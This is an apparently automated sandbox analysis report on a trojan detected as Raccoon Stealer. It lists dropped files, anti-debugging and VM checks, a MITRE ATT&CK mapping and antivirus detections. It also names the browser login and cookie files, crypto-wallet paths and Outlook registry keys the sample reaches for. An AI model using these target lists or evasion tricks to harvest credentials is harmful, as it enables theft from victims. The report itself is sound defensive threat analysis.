Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe	Dropped PE file which has not been started: C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT7\qipcap.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe	Dropped PE file which has not been started: C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT7\breakpadinjector.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe	Dropped PE file which has not been started: C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT7\api-ms-win-crt-conio-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe	Dropped PE file which has not been started: C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT7\api-ms-win-core-processthreads-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe	Dropped PE file which has not been started: C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT7\api-ms-win-core-file-l2-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe	Dropped PE file which has not been started: C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT7\api-ms-win-core-synch-l1-2-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe	Dropped PE file which has not been started: C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT7\api-ms-win-crt-multibyte-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe	Dropped PE file which has not been started: C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT7\api-ms-win-crt-locale-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe	Dropped PE file which has not been started: C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT7\mozMapi32_InUse.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe	Dropped PE file which has not been started: C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT7\api-ms-win-crt-heap-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe	Dropped PE file which has not been started: C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT7\api-ms-win-core-libraryloader-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\XObEdOuQjV.exe	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe	Dropped PE file which has not been started: C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT7\api-ms-win-core-processthreads-l1-1-1.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe	Dropped PE file which has not been started: C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT7\AccessibleHandler.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe	Dropped PE file which has not been started: C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT7\api-ms-win-core-profile-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe	Dropped PE file which has not been started: C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT7\api-ms-win-core-memory-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe	Dropped PE file which has not been started: C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT7\api-ms-win-core-localization-l1-2-0.dll	Jump to dropped file

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe

Registry key enumerated: More than 151 enums for key HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe TID: 4628	Thread sleep time: -30000s >= -30000s			Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe TID: 4628	Thread sleep time: -30000s >= -30000s			Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe	Code function: 2_2_0043E217 FindClose,FindFirstFileExW,GetLastError,FindFirstFileExW,GetLastError,		2_2_0043E217
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe	Code function: 2_2_0043E387 GetFileAttributesExW,GetLastError,___std_fs_open_handle@16,GetLastError,GetFileInformationByHandle,FindFirstFileExW,FindClose,		2_2_0043E387

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe

Code function: 2_2_00434FF1 GetLogicalDriveStringsA,

2_2_00434FF1

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe

Code function: 2_2_00436ACF _strftime,GetUserDefaultLCID,GetLocaleInfoA,GetUserNameA,GetUserNameA,GetComputerNameA,GetUserNameA,GetSystemInfo,GlobalMemoryStatusEx,GetSystemMetrics,GetSystemMetrics,GetSystemMetrics,EnumDisplayDevicesA,EnumDisplayDevicesA,EnumDisplayDevicesA,

2_2_00436ACF

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\css\	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\images\	Jump to behavior

Source: SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe, 00000002.00000002.666658507.000000004C448000.00000004.00000001.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}oyj
Source: SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe, 00000002.00000002.663680242.0000000000BD3000.00000004.00000001.sdmp	Binary or memory string: Hyper-V RAW.top
Source: SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe, 00000002.00000002.665458280.000000004B9C0000.00000002.00000001.sdmp, WerFault.exe, 00000006.00000002.347738651.0000000004880000.00000002.00000001.sdmp, WerFault.exe, 00000009.00000002.363718301.0000000004600000.00000002.00000001.sdmp, WerFault.exe, 0000000B.00000002.383041635.0000000004FD0000.00000002.00000001.sdmp, WerFault.exe, 0000000F.00000002.404708845.0000000004ED0000.00000002.00000001.sdmp, WerFault.exe, 00000015.00000002.430405491.0000000005180000.00000002.00000001.sdmp, WerFault.exe, 0000001B.00000002.459675205.0000000005BF0000.00000002.00000001.sdmp, WerFault.exe, 00000022.00000002.499337639.00000000050E0000.00000002.00000001.sdmp, WerFault.exe, 00000026.00000002.525547289.0000000005610000.00000002.00000001.sdmp	Binary or memory string: A Virtual Machine could not be started because Hyper-V is not installed.
Source: SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe, 00000002.00000002.663680242.0000000000BD3000.00000004.00000001.sdmp	Binary or memory string: Hyper-V RAWP
Source: SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe, 00000002.00000003.594234001.0000000000BED000.00000004.00000001.sdmp	Binary or memory string: Hyper-V RAW4
Source: SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe, 00000002.00000003.594234001.0000000000BED000.00000004.00000001.sdmp	Binary or memory string: Hyper-V RAW
Source: SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe, 00000002.00000002.665458280.000000004B9C0000.00000002.00000001.sdmp, WerFault.exe, 00000006.00000002.347738651.0000000004880000.00000002.00000001.sdmp, WerFault.exe, 00000009.00000002.363718301.0000000004600000.00000002.00000001.sdmp, WerFault.exe, 0000000B.00000002.383041635.0000000004FD0000.00000002.00000001.sdmp, WerFault.exe, 0000000F.00000002.404708845.0000000004ED0000.00000002.00000001.sdmp, WerFault.exe, 00000015.00000002.430405491.0000000005180000.00000002.00000001.sdmp, WerFault.exe, 0000001B.00000002.459675205.0000000005BF0000.00000002.00000001.sdmp, WerFault.exe, 00000022.00000002.499337639.00000000050E0000.00000002.00000001.sdmp, WerFault.exe, 00000026.00000002.525547289.0000000005610000.00000002.00000001.sdmp	Binary or memory string: A communication protocol error has occurred between the Hyper-V Host and Guest Compute Service.
Source: SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe, 00000002.00000002.665458280.000000004B9C0000.00000002.00000001.sdmp, WerFault.exe, 00000006.00000002.347738651.0000000004880000.00000002.00000001.sdmp, WerFault.exe, 00000009.00000002.363718301.0000000004600000.00000002.00000001.sdmp, WerFault.exe, 0000000B.00000002.383041635.0000000004FD0000.00000002.00000001.sdmp, WerFault.exe, 0000000F.00000002.404708845.0000000004ED0000.00000002.00000001.sdmp, WerFault.exe, 00000015.00000002.430405491.0000000005180000.00000002.00000001.sdmp, WerFault.exe, 0000001B.00000002.459675205.0000000005BF0000.00000002.00000001.sdmp, WerFault.exe, 00000022.00000002.499337639.00000000050E0000.00000002.00000001.sdmp, WerFault.exe, 00000026.00000002.525547289.0000000005610000.00000002.00000001.sdmp	Binary or memory string: The communication protocol version between the Hyper-V Host and Guest Compute Services is not supported.
Source: SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe, 00000002.00000002.663596917.0000000000BA2000.00000004.00000001.sdmp	Binary or memory string: Hyper-V RAWHm
Source: SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe, 00000002.00000002.665458280.000000004B9C0000.00000002.00000001.sdmp, WerFault.exe, 00000006.00000002.347738651.0000000004880000.00000002.00000001.sdmp, WerFault.exe, 00000009.00000002.363718301.0000000004600000.00000002.00000001.sdmp, WerFault.exe, 0000000B.00000002.383041635.0000000004FD0000.00000002.00000001.sdmp, WerFault.exe, 0000000F.00000002.404708845.0000000004ED0000.00000002.00000001.sdmp, WerFault.exe, 00000015.00000002.430405491.0000000005180000.00000002.00000001.sdmp, WerFault.exe, 0000001B.00000002.459675205.0000000005BF0000.00000002.00000001.sdmp, WerFault.exe, 00000022.00000002.499337639.00000000050E0000.00000002.00000001.sdmp, WerFault.exe, 00000026.00000002.525547289.0000000005610000.00000002.00000001.sdmp	Binary or memory string: An unknown internal message was received by the Hyper-V Compute Service.

Anti Debugging:

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe

Code function: 2_2_0045C2E6 IsDebuggerPresent,OutputDebugStringW,

2_2_0045C2E6

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe

2_2_0042495F

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe

Code function: 2_2_00446991 mov eax, dword ptr fs:[00000030h]

2_2_00446991

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe

Code function: 2_2_0040A3FB GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,

2_2_0040A3FB

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe	Code function: 2_2_004402A4 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	2_2_004402A4
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe	Code function: 2_2_004463B5 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	2_2_004463B5
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe	Code function: 2_2_00440406 SetUnhandledExceptionFilter,	2_2_00440406
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe	Code function: 2_2_004405C8 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	2_2_004405C8

HIPS / PFW / Operating System Protection Evasion:

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe

Process created: unknown unknown

Jump to behavior

Language, Device and Operating System Detection:

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe

Code function: 2_2_004400C8 cpuid

2_2_004400C8

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe	Code function: CoInitialize,GetUserDefaultLCID,GetLocaleInfoA,Sleep,GetUserNameA,_strlen,_strlen,CreateThread,CreateThread,CreateThread,CreateThread,CreateThread,CreateThread,CreateThread,CreateThread,CreateThread,CreateThread,WaitForSingleObject,CreateThread,CreateThread,CreateThread,CreateThread,WaitForSingleObject,WaitForSingleObject,WaitForSingleObject,WaitForSingleObject,WaitForSingleObject,WaitForSingleObject,WaitForSingleObject,WaitForSingleObject,WaitForSingleObject,WaitForSingleObject,WaitForSingleObject,WaitForSingleObject,CreateThread,GetModuleHandleA,FreeLibrary,WaitForSingleObject,GetEnvironmentVariableA,ShellExecuteA,ShellExecuteA,CoUninitialize,	2_2_0042693B
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe	Code function: _strftime,GetUserDefaultLCID,GetLocaleInfoA,GetUserNameA,GetUserNameA,GetComputerNameA,GetUserNameA,GetSystemInfo,GlobalMemoryStatusEx,GetSystemMetrics,GetSystemMetrics,GetSystemMetrics,EnumDisplayDevicesA,EnumDisplayDevicesA,EnumDisplayDevicesA,	2_2_00436ACF
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe	Code function: GetACP,IsValidCodePage,_wcschr,_wcschr,GetLocaleInfoW,	2_2_00462121
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe	Code function: EnumSystemLocalesW,	2_2_00458367
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe	Code function: GetLocaleInfoW,	2_2_0046231C
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe	Code function: EnumSystemLocalesW,	2_2_004623C3
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe	Code function: EnumSystemLocalesW,	2_2_0046240E
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe	Code function: EnumSystemLocalesW,	2_2_004624A9
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	2_2_00462534
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe	Code function: GetLocaleInfoW,	2_2_00462787
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	2_2_004628AD
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe	Code function: GetLocaleInfoW,	2_2_00458994
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe	Code function: GetLocaleInfoW,	2_2_004629B3
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	2_2_00462A82

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe

Code function: 2_2_00440470 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

2_2_00440470

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe

Code function: 2_2_004364C1 GetUserNameA,GetTimeZoneInformation,std::ios_base::_Ios_base_dtor,

2_2_004364C1

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe

Code function: 2_2_004364C1 GetUserNameA,GetTimeZoneInformation,std::ios_base::_Ios_base_dtor,

2_2_004364C1

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe

2_2_0042495F

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information:

Yara detected Raccoon Stealer

Show sources

Source: Yara match

File source: Process Memory Space: SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe PID: 7140, type: MEMORY

Found many strings related to Crypto-Wallets (likely being stolen)

Show sources

Source: SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe, 00000002.00000003.530022308.0000000000BCD000.00000004.00000001.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\Electrum
Source: SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe, 00000002.00000003.594234001.0000000000BED000.00000004.00000001.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Jaxx\Local Storaget
Source: SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe, 00000002.00000003.594234001.0000000000BED000.00000004.00000001.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe, 00000002.00000003.594234001.0000000000BED000.00000004.00000001.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe, 00000002.00000003.594234001.0000000000BED000.00000004.00000001.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\Ethereum Wallet

Tries to harvest and steal browser information (history, passwords, etc)

Show sources

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior

Tries to steal Mail credentials (via file access)

Show sources

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Microsoft Outlook Internet Settings	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook	Jump to behavior

Source: Yara match

File source: Process Memory Space: SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe PID: 7140, type: MEMORY

Remote Access Functionality:

Yara detected Raccoon Stealer

Show sources

Source: Yara match

File source: Process Memory Space: SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe PID: 7140, type: MEMORY

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Native API1	Application Shimming1	Application Shimming1	Deobfuscate/Decode Files or Information1	OS Credential Dumping1	System Time Discovery2	Remote Services	Archive Collected Data1	Exfiltration Over Other Network Medium	Ingress Tool Transfer11	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Process Injection11	Obfuscated Files or Information3	LSASS Memory	Account Discovery1	Remote Desktop Protocol	Data from Local System2	Exfiltration Over Bluetooth	Encrypted Channel22	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Logon Script (Windows)	Software Packing23	Security Account Manager	File and Directory Discovery4	SMB/Windows Admin Shares	Screen Capture1	Automated Exfiltration	Non-Application Layer Protocol2	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	Masquerading1	NTDS	System Information Discovery36	Distributed Component Object Model	Email Collection1	Scheduled Transfer	Application Layer Protocol13	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	Virtualization/Sandbox Evasion3	LSA Secrets	Query Registry1	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	Process Injection11	Cached Domain Credentials	Security Software Discovery41	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	Compile After Delivery	DCSync	Virtualization/Sandbox Evasion3	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	Indicator Removal from Tools	Proc Filesystem	Process Discovery11	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue
Exploit Public-Facing Application	PowerShell	At (Linux)	At (Linux)	Masquerading	/etc/passwd and /etc/shadow	System Owner/User Discovery1	Software Deployment Tools	Data Staged	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	Web Protocols	Rogue Cellular Base Station		Data Destruction
Supply Chain Compromise	AppleScript	At (Windows)	At (Windows)	Invalid Code Signature	Network Sniffing	Remote System Discovery1	Taint Shared Content	Local Data Staging	Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol	File Transfer Protocols			Data Encrypted for Impact
Compromise Software Dependencies and Development Tools	Windows Command Shell	Cron	Cron	Right-to-Left Override	Input Capture	System Network Configuration Discovery1	Replication Through Removable Media	Remote Data Staging	Exfiltration Over Physical Medium	Mail Protocols			Service Stop

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe	39%	Virustotal		Browse
SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe	46%	ReversingLabs	Win32.Trojan.StellarStealer
SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Link
C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT7\AccessibleHandler.dll	0%	Metadefender	Browse
C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT7\AccessibleHandler.dll	0%	ReversingLabs
C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT7\AccessibleMarshal.dll	0%	Metadefender	Browse
C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT7\AccessibleMarshal.dll	0%	ReversingLabs
C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT7\IA2Marshal.dll	3%	Metadefender	Browse
C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT7\IA2Marshal.dll	0%	ReversingLabs
C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT7\MapiProxy.dll	0%	Metadefender	Browse
C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT7\MapiProxy.dll	0%	ReversingLabs
C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT7\MapiProxy_InUse.dll	0%	Metadefender	Browse
C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT7\MapiProxy_InUse.dll	0%	ReversingLabs
C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT7\api-ms-win-core-file-l1-2-0.dll	0%	Metadefender	Browse
C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT7\api-ms-win-core-file-l1-2-0.dll	0%	ReversingLabs
C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT7\api-ms-win-core-file-l2-1-0.dll	0%	Metadefender	Browse
C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT7\api-ms-win-core-file-l2-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT7\api-ms-win-core-handle-l1-1-0.dll	0%	Metadefender	Browse
C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT7\api-ms-win-core-handle-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT7\api-ms-win-core-heap-l1-1-0.dll	0%	Metadefender	Browse
C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT7\api-ms-win-core-heap-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT7\api-ms-win-core-interlocked-l1-1-0.dll	0%	Metadefender	Browse
C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT7\api-ms-win-core-interlocked-l1-1-0.dll	0%	ReversingLabs

Unpacked PE Files

Source	Detection	Scanner	Label	Download
15.2.WerFault.exe.4dd0000.9.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
6.2.WerFault.exe.4b00000.8.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
27.2.WerFault.exe.5af0000.8.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
34.2.WerFault.exe.5500000.10.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
11.2.WerFault.exe.53f0000.10.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
21.2.WerFault.exe.5080000.8.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
2.2.SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe.400000.0.unpack	100%	Avira	HEUR/AGEN.1137972	Download File
38.2.WerFault.exe.5890000.6.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
